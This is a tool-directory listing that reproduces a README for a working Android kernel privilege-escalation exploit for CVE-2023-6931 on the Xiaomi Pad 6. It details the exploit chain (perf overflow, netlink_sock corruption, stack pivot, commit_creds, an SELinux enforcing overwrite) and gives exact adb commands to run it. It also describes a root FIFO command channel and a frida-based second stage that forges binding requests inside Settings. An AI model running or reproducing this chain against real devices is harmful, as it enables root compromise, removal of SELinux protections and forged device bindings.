Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2023-6931-pipa — Kernel LPE exploit for CVE-2023-6931 on Xiaomi Pad 6 (pipa), chaining a perf read_size overflow to root and disabling SELinux via data-only netlink_sock sk_destruct corruption. | Kitploit
Tools/GitHubGitHub/yutori-natsu/cve-2023-6931-pipa
Android SecurityPrivilege EscalationMemory ForensicsExploitationReverse EngineeringPost-ExploitationMobile SecurityPayload DevelopmentBinary Exploitation
GitHubyutori-natsu/cve-2023-6931-pipa

cve-2023-6931-pipa

Kernel LPE exploit for CVE-2023-6931 on Xiaomi Pad 6 (pipa), chaining a perf read_size overflow to root and disabling SELinux via data-only netlink_sock sk_destruct corruption.

1927 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2023-6931 — Xiaomi Pad 6 (pipa) Privilege Escalation and Disabling SELinux

The final version of the exploit used on the device, organized separately in this directory.

Target

Device    Xiaomi Pad 6 / pipa / SM8250
System    HyperOS OS2.0.20.0.UMZCNXM
Kernel    4.19.157-perf-g240e1d0a5f52
Start     adb shell (shell domain)
Result    One-shot uid0 + global SELinux permissive (lost on reboot)

Exploit Chain

See the file header of exploit.c, summarized below.

1) perf group read_size overflow                -> out-of-bounds u64 increment primitive
2) increment victim netlink_sock->sk_destruct   -> netlink_sock_destruct_work (+0x28e8)
3) close(victim) -> sk_destruct(work) -> container_of(work, netlink_sock, 0x440)
   -> fake = victim-0x440 -> sk_free(fake) -> __sk_destruct(&fake->sk_rcu)
   -> fake->sk_destruct @ fake+704 = pivot(mov sp, x19)
4) Stack pivot to skb payload inside fake (pt_regs1 @ +960, pt_regs2 @ +1120)
5) restore_tramp -> eret EL1h -> commit_creds(&init_cred)
6) restore_no_kpti -> eret EL0 -> post_root

Disabling SELinux uses a pure data overwrite: fake+0x248 points to selinux_state, and the atomic_dec in __sk_destruct decrements the enforcing field in the lowest byte segment of that word from 1 to 0.

Directory Contents

FileDescription
exploit.cSource code. Development-process comments removed; structural comments such as the file-header chain description, offset tables, and struct layouts retained
text_syms.h.text symbol table generated from the device kallsyms dump, required for compilation
ro_syms.hSame as above, read-only data symbol table, required for compilation
exploit_selinux8The binary actually run on the device, identical to the one used by the driver script
build.shBuild script
SHA256SUMSChecksums of the above files

Build

./build.sh                 # outputs to exploit in this directory
CC=aarch64-linux-gnu-gcc ./build.sh /tmp/exploit

Running on the Device

The command line used by the driver script .project/scripts/drive_selinux_off.sh:

adb push exploit_selinux8 /data/local/tmp/exploit_selinux8
adb shell 'chmod 755 /data/local/tmp/exploit_selinux8'

adb shell 'cd /data/local/tmp && setsid nohup /data/local/tmp/exploit_selinux8 \
  --selinux-off --layout-interleave --tsec-sid 1 --alarm-us 5000000 \
  > /data/local/tmp/run.out 2>&1 < /dev/null &'

Parameter meanings:

--selinux-off        Disable SELinux (pure data overwrite path), also includes cred forgery
--layout-interleave  Interleave allocation sequences so the OOB increment lands on the target object's sk_destruct
--tsec-sid 1         Forged cred's security context sid/osid (use 1 when the real domain sid cannot be obtained)
--alarm-us 5000000   Self-wakeup ITIMER_REAL, stuck attempts exit after 5 seconds

Prerequisites and limitations:

  • The shell domain can reach perf_event and netlink_route; the app domain cannot, so it must be started from adb shell;
  • Every 8446 sibling events created exhausts perf_event_mlock_kb = 516, do not run repeatedly within the same boot; if the previous instance does not exit, events are not released, and a rerun will only create 4000 to 6000;
  • Use kill -9 to clean up old instances before retrying when needed, otherwise count it as one effective attempt per boot;
  • On success the process stays in pause(); root and permissive are only valid for the current boot.
  • The same framework also has variants that replace the first/second frame with dload writes (--edl, --edl2), used to deterministically enter EDL from the root window; this directory only includes the final version actually used.

Two Stages and Handoff

This directory only contains the first stage. The full chain is actually two segments, and the handoff point is the root command channel left by the first stage.

Stage 1  exploit_selinux8            Kernel privilege escalation + disable SELinux, then stops at the root command channel
             Output: uid0 + permissive, channel = FIFO /data/local/tmp/root_in|root_out
                  (also an abstract unix socket rootshell / rootshell2, and --root-client PORT mode)
Stage 2  stage2-frida/               Uses the above channel to start frida-server as root, injects into Settings
             Output: binding request constructed and sent from within the app process (TEE signature)

At the end of stage 1, ROOTSHELL_OK is written to /data/local/tmp/root_proof.txt as proof of executable commands. After that, any root action from the host is just writing a line of command into the FIFO, for example the one that starts frida-server in stage 2:

adb shell "echo 'killall -9 frida-server 2>/dev/null; rm -f /data/local/tmp/frida.log; \
  setsid runcon u:r:shell:s0 /data/local/tmp/frida-server16 -D \
  </dev/null >/data/local/tmp/frida.log 2>&1 & echo FRIDA_STARTED' > /data/local/tmp/root_in"

runcon u:r:shell:s0 cannot be omitted: after SELinux is disabled, if frida-server runs in the kernel domain, it cannot obtain the Android Context, and PackageManager will NPE.

stage2-frida/

FileDescription
exp_forge_send.shPushes and starts frida-server 16.7.19, ensures Settings is running, gets pid, runs agent
frida_run.pyfrida client wrapper, supports FRIDA_PID direct attach and FRIDA_SPAWN self-spawn (bypassing am/pm)
forge_send.jsCopies getNonce inside the Settings process, signs applyBind with the old field set, and sends it

External dependencies (not bundled with this directory): frida-server 16.7.19 (54 MB, located at .project/tools/ext/frida/fs16, sha256 prefix 4eebf1fbc66ff54aba9a9124) and the corresponding python client (.project/tools/ext/fridavenv16, frida 16.7.19). 16.x is used instead of 17.x because the 17 agent does not have a Java bridge.

The full call chain is orchestrated by .project/scripts/drive_selinux_off.sh: the first action after hitting the root window is bash .project/scripts/exp_forge_send.sh, and the loop stops once code 0 is obtained.

Reproducibility Notes

exploit_selinux8 is the delivered original; see SHA256SUMS for checksums. Rebuilding from the source in this directory produces a different binary:

Rebuilt from this directory's source   1,853,744 B   f8bb900bf4e197190d56bfc1437bcc9a025e49640a7fa2a78ff0f7fb0a6e7939
Rebuilt from original source           1,853,752 B   96c7c3637682a2d5869ab4b6a732688a252f17f5e604b1695bc8fcc022113b3f
The one actually run                   1,853,720 B   279837d2ee028fbbb520120180156446ad8dc3286b723e28de300b544be2a21a

The differences have been located symbol by symbol, and there is only one source: two extra modes in the command-line argument table.

--edl     Frame 2 calls __qcom_scm_set_dload_mode(dev, 1)
--edl2    Frame 2 directly writes the dload cookie
Comparison ItemResult
Symbols with differing function sizesOnly main (shipped 17,744 B, rebuilt 18,004 B, difference 260 B ≈ 65 instructions)
The other 1,503 functionsSizes completely identical, no additions or removals
Symbols present only in the rebuildedl_mode, one
Command-line argument tableshipped 85, rebuilt 87, the extras being exactly --edl and --edl2
Total .text instruction count126,533 vs 126,597, difference of 64, consistent with the difference in main
Download Tool